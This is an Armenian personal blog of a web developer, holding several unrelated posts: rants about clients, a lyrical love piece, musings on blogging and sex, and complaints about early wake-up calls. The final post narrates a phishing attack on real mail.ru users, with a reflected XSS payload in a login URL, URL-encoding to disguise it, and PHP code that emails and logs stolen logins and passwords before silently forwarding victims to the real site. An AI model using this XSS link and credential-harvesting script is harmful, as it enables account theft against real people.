Վարդան Գրիգորյան|Մի վեբ ծրագրավորողի բլոգ

Ուրեմն որոշել եմ/տոեսծ շուտ էի որոշել, բայց հաստատակամորեն ի կատար եմ ածելու/ սրանից հետո ամեն մեկի էրեսին չծիծաղեմ, ինձ դնեմ “սարի սմբուլի տեղ” ու ՖՍՅՈ: Հերիք եղավ բոլ եղավ, սուս եմ մնում, առիթավորվում են հարգարժան պատվիրատուները:

Չեմ պատմելու, թե ինչ ա էղել, ես էդքան ոչ “ներվի” ունեմ, ոչ էլ մի առանձնապես ցանկություն էդքանը նորից հիշելու: էտ ո՞վ ա ասել. “Բոլոր պատվիրատուներին պետք ա մեծարել, որովհետեը իրանք քեզ հաց ու ջուր են տալիս…”: ՍՈՒՏ Ա… պետք ա ոտքը տրորես, հլը մի հատ էլ ձեռքն էնքան ուժեղ սեխմես բարևելիս, որ մոռանա դաժէ ինչի համար ա զանգել ու հոգնած հալիդ քեզ հասցրել քաղաքի կենտրոն /որտեղ իմիջայլոց որոշները ՈՉ ՀՈԳՆԱԾ վիճակում զբուսնում էին/: Ու տեսնես երբ են մարդիկ վերջապես հասկանալու, որ էտ անտեր դիզայնը սաղին չի կարա դուր գա, դաժե ԱՍՏՎԱԾ որ ԱՍՏՎԱԾ ա, մեկա, սաղին հո դուր չի՞ գալիս…

Բայց չէ~, ոմանց թվում ա, եթե դիզայներ ես կամ ծրագրավորող, պիտի էնպես սարքես, որ ԲՈԼՈՐԸ հավանեն: Բա չասե՞ս… Տո դու էլ, քո սայթն էլ, քո… /մատերիցա նե սլեդուետ/: Հլը մի բան էլ հեչ որ էդքան ԱՆՀԱՎԱՆ են, բերում ա ուրիշին համեմատում հետս… Չէ.. բալես… դու պիտի շեֆ լինես, որ ոչ մեկի քիթ-մունաթի տակ չընգնես…

Ուռոդներ………….!

Մատներս սպիտակ թղթին “նկարում են” ՈՉԻՆՉ-ը: Այն նույն ոչինչը, որի անունն է միայն մնացել, բայց ինքը լեցուն է ամեն ինչով: Այդ նույն ոչինչն է, որ ինձ ստիպում է քեզ տեսնելիս խոսել միայն մտքում: Այդ նույն ոչինչն է, որ մտքիս մեջ պոեմներ է ստեղծում, իսկ թղթին պատկերվում դատարկության տեսքով: Հենց նա է, որ հայելու պես դրոշմվել է ներսումս` ինձ դարձնելով իր պես…դատարկ…բայց և լեցուն ամեն ինչով:

Ու թե կանգնեցնես ձեռքիս շարժումը, որն օրենքով պիտի ոչինչը նկարեր, կտեսնես, որ իրականում այդ դատարկ թղթին այբուբենի երեք տառ կողք-կողքի կանգնած, սառած աչքերով նայում են քեզ… Ու թե “աչքերն են մարդու ամենաթաց տեղը”, ուրեմն ես լրիվ չորացել եմ: Որովհետեև նույնիսկ աչքերս են հիմա քամու պես չոր… Հիշո՞ւմ ես, դու ինձ թևեր նվիրեցիր` դեպի հավիտենություն թռչելու համար, ուրեմն իմացիր, որ այդ թևերը քո գնալուց հետո չեն գործի: Ուստիև, ո՞ւմ են պետք դրանք: Եթե որպես հիշատակ պիտի պահեմ, ես կուզեի, որ այդ հիշատակը քո գոյ-ից մի մասնիկ լիներ: Ու թևերն այդ նույնքան չոր են հիմա, որքան աչքերս, որ “օրենքով” պիտի ամենաթաց տեղսլինեին:

Հարցեր…Հարցեր, որ իրենց ընկերոջը չեն գտնում քո պատասխանների մեջ: Գուցե նրանք ստեղծված են առանց ընկեր ապրելու համար: Իսկ ե՞ս… Իմ անունը ոչ ՀԱՐՑ է, ոչ էլ ԴԱՏԱՐԿ ԹՂԹԻ ԿՏՈՐ, որ մեկի համար դատարկ է, մյուսի համար երեք տառ:

Գիտե±ս… Ինչ էլ անես, դու արդեն իմ մեջ ես, սրտիս մեջ: Ու գնալուց նույնիսկ մի խնդրիր, որ քեզ հանեմ այնտեղից: Որովհետև եթե ծրագրավորման լեզվով ասեմ, իմ սիրտը STACK է: Նրա մուտքն ու ելքը նույն տեղից է,իսկ դա նշանակում է, որ առաջին մտնողը դուրս է գալիս ամենավերջում… Դու արդեն մտել ես… Հերթը ես չեմ սահմանում…Հերթը վաղուց սահմանված է…

Դուրս արի, եթե կարող ես… Բայց ես քեզ չեմ օգնի:

Հիշո՞ւմ ես…Դու փետուր էիր, իսկ ես փորձում էի քեզ որսալ: Անընդհատ փախչում էիր ինձնից…Մերթ նեղանում ու թաքնվում էիր մի անկյունում, իսկ ես փնտրում էի ու փնտրում քեզ… Հետո, երբ գտնում էի, խնդրում էի, որ էլ ինձնից չնեղանաս ու չթաքնվես… Դու ոչինչ չէիր ասում…Եվ քանի դեռ ես չեմ ընտելացել քո լռության այբուբենին, ինձ համար այդպես էլ անհաս կմնան քո լուռ-բառերի իմաստն ու գեղեցկությունը: Ես քո լռությունն ընկալում էի այս սպիտակ թղթի նման… Այն մեկի համար դատարկ է, մյուսի համար`երեք տառ…

Հիշո՞ւմ ես…

—

Նվիրվում է Ա.Մ.-ին: Այս ստեղծագործության հիման վրա կա նաև ֆլեշ անիմացիա, այն կարող եք քաշել այստեղից:

Եթե հետևենք բոլոր հայեցի, հայկական ու մենթալիտետական մտածելակերպերին /երևի սրանք համահոմանիշ բառեր են/, պետք ա Երևանի ջահել-ջիվան-սիրուն-աշփութ աղջիկներին թողենք, գնանք հասնենք ԳՅՈՒՂ /ոմն գյուղ, ասենք օրինակ Ղզլջուղ, իմիջայլոց ովքեր չեն լսել, քրքրեք պատմությունը  :ՃՃ / ու ԿՆՈՒԹՅԱՆ առնենք կարմիր թշերով մի աղջկա, որ երևի անկեղծորեն հավատում ա, թե համբուրվելիս աղջկա չգիտեմ որ ոտքն ինքնաբերաբար բարձրանում ա:

Վերջերս շատ եմ հետևում օր-օրի աշխուժացող բլոգային կյանքին, ու… ՎԱՏ ՆՈՐՈՒԹՅՈՒՆՆԵՐ, հարգելիներս/ես կասեի հարգելի ընթերցող, բայց տենց մի քիչ պաշտոնական ա ու բացի դրանից հռետորական ոճ չեմ սիրում/: Անկեղծ ասած օր-օրի սնկի պես աճող բլոգերից շատերում նկատում եմ էսպիսի մի տենդենց/հայերեն հոմանիշ չգիտեմ/, գրում ենք անկեղծ, սրտանց, բայց… Թաքցնում ենք որոշ ինտիմ/շեշտում եմ էս բառը/ մանրամասնություններ, կամ պարզպես ընտրում ենք դրանց հոմանիշ այլ բառեր, որոնք ՑԱՎՈՔ ոչ լրիվ կերպով են ներկայացվում անհրաժեշտ բառի իմաստը: Ը~հը…

Ես օրինակ մի ընկեր ունեմ/իմիջայլոց աղջիկ-ընկեր/, որ իմ “սեքսուալ” բոլոր թիթիզ-միթիզ բառերին պատասխանում ա նույն կերպ ու չի էլ մտածում, որ դա կարող ա վնասել նրա ԻՆՔՆԱՀԱՍՏԱՏՄԱՆԸ: Հա հենց, ինքնահաստատմանը, այլ ոչ թե ուրիշների կարծիքին իր անձի մասին: Ես եկել եմ մի համոզման, որ ՀԱՐԳԵԼԻ ԲԼՈԳԵՐՆԵՐ, Ձեր անհատական բլոգ-երում, ոչ մեկ Ձեր ձեռքը չի բռնում ու ՖԼՈՒԴ-ԲԼՈԿ չի դնում Ձեր բառերի վրա:

Մեկ էլ ավելացնեմ, որ ինչքան աղջիկը տեղյակ ա սեքսից, էնքան նրա հետ սեքսով զբաղվելն ավելի հաճելի ա… Մտածեք ասածներիս մասին…

Ես էլ եմ մտածում…

Այ մարդ բա մեկը չլինի՞ ասի “Այ Վարդան, այ մարդ, հերիք ա էդքան նստես էդ կոմպի դեմը…”: Չէ, բա սաղ հանգիստ, սիրուն, համեստ մարդ են տեսել, առիթից ուզում են օգտվեն: Արա դե սիրում եմ էլի ես բլոգս, գրում-գրում եմ էլի գրելու բան ա մնում: Համ էլ կարդացողն ո՞վ ա, երևի մենակ ես եմ մտնում ադմին պանելից սպամ-կոմմենտներս ջնջում: Լոլ…

Հա իմիջայլոց, տեսնես ԼոԼ ինչ ա նշանակում ու արդյոք չկա դրա հայերեն տարբերակը, ասենք օրինակ` ուահա )

Հա լավ, վերադառնամ բուն թեմային, ինչպես սիրում եմ արտահայտվել, “Էկեք չմոռանանք` ինչի համար ենք հավաքվել”:

Մի խոսքով էսօր ահավոր գժվել եմ: Առավոտ քշերով ժամը 9-ին զանգում են քնից հանում ու էն էլ իմ արձակուրդի օրերին, դա արդեն ԱՆՆԵՐԵԼԻ ա իմ կողմից: Ես, հարգելիներս, արձակուրդիս օրերին քնում եմ գիշերվա 3-ին կամ 4-ին ու սիրում եմ երկար քնել, հատկապես առավոտվա կողմերն ընկած ժամերին: Բայց արի ու տես, որ էսօր չգիտես խի մարդուն պետք էր էտ նկարը  ու հատկապես առավոտվա 9-ին: Այ մարդ դե քնեք էլի Ձեր համար… Կամ եթե քնել չեք սիրում, թողեք գոնե ՆՈՐՄԱԼ ՄԱՐԴԻԿ քնեն… մենք էլ ենք մարդ. մենք էլ աչքեր ունեն… բա մեկը չլինի՞, որ ասի “Աչքդ լու~ս, էսօր հոգնած չես էրևում”… Ես մեղք ունե՞մ, որ…

Ու~ֆ լավ է…

- – - նյութի սկիզբը կարող եք կարդալ այստեղ – - -

[օր երկրորդ...]

Հաջորդ օրը (ավելի ճիշտ հենց նույն օրը, քանի որ օրն արդեն փոխվել էր) ասկա-իս վրա նամակ եկավ pixcher-ից: Նա սարքել էր ֆիկտիվ ֆորման ու տեղադրել “թունավոր” հասցեում`

http://talk.mail.ru/login.html?target=”><script>location.href=’Վերահասցեավորում դեպի ֆիկտիվ ֆորմա’</script>

Բայց այս վիճակում հղումս ահավոր վախենալու և բացահայտ տեսք ուներ, ու մենք մի քիչ այն դիմակավորեցինք, որպեսզի յուզերները ոչ մի գալիք վտանգ չզգան: Արդյունքում ստացանք ահա սա`

http://talk.mail.ru/login.html?targe…72%69%70%74%3e

Հաջորդ քայլում արդեն գրեցինք մի փոքրիկ սնիֆֆեր, որը ստանում էր իրեն փոխանցված տվյալները, գրում ֆայլի մեջ, իսկ վերջում յուզերին “շպրտում” իր փոստարկղ: Ահա սնիֆֆերիս կոդը`

<?
$adminmail = “mymail@mail.ru”;
function email($to,$mailtext) {
mail($to,’password’,$mailtext,$adminmail);
}
$text=”[".date("d.m.y H:i")."]Login: $_POST[login] Password: $_POST[pass]\r\n”;
email($adminmail,$text);
$file = fopen(“logs.txt”,”a”);
flock($file,3);
fputs($file, $text);
flock($file,1);
fclose($file);

echo “<FORM id=’auth’ action=’http://talk.mail.ru/login.html’ method=post>
<INPUT value=’$_POST[login]‘>
<INPUT value=’$_POST[pass]‘>
<script>auth.submit();</script>
</FORM>”;
?>

Ուշադրություն դարձրեք, թե ինչպես է յուզերը մտնում իր փոստարկղ (տող 17)`

<script>auth.submit();</script>

Ֆիկտիվ էջի (այսուհետ` ֆեյկ) պատրաստման գործընթացն էդքան էլ դժվար չէ, ֆայլը պահում ենք մեր կոմպի վինչի մեջ, իսկ form տեգի action փոփոխականը ռեդիռեկտ ենք անում: Արդյունքում, յուզերի կողմից մուտքագրված տվյալները գրվում են իմ ֆայլի մեջ, իսկ ինքը կտեղափոխվի փոստարկղ, ու կմտածի, որ DNS-ի խնդիր էր տեղի ունեցել կայքում…

- – - Շարունակելի – - -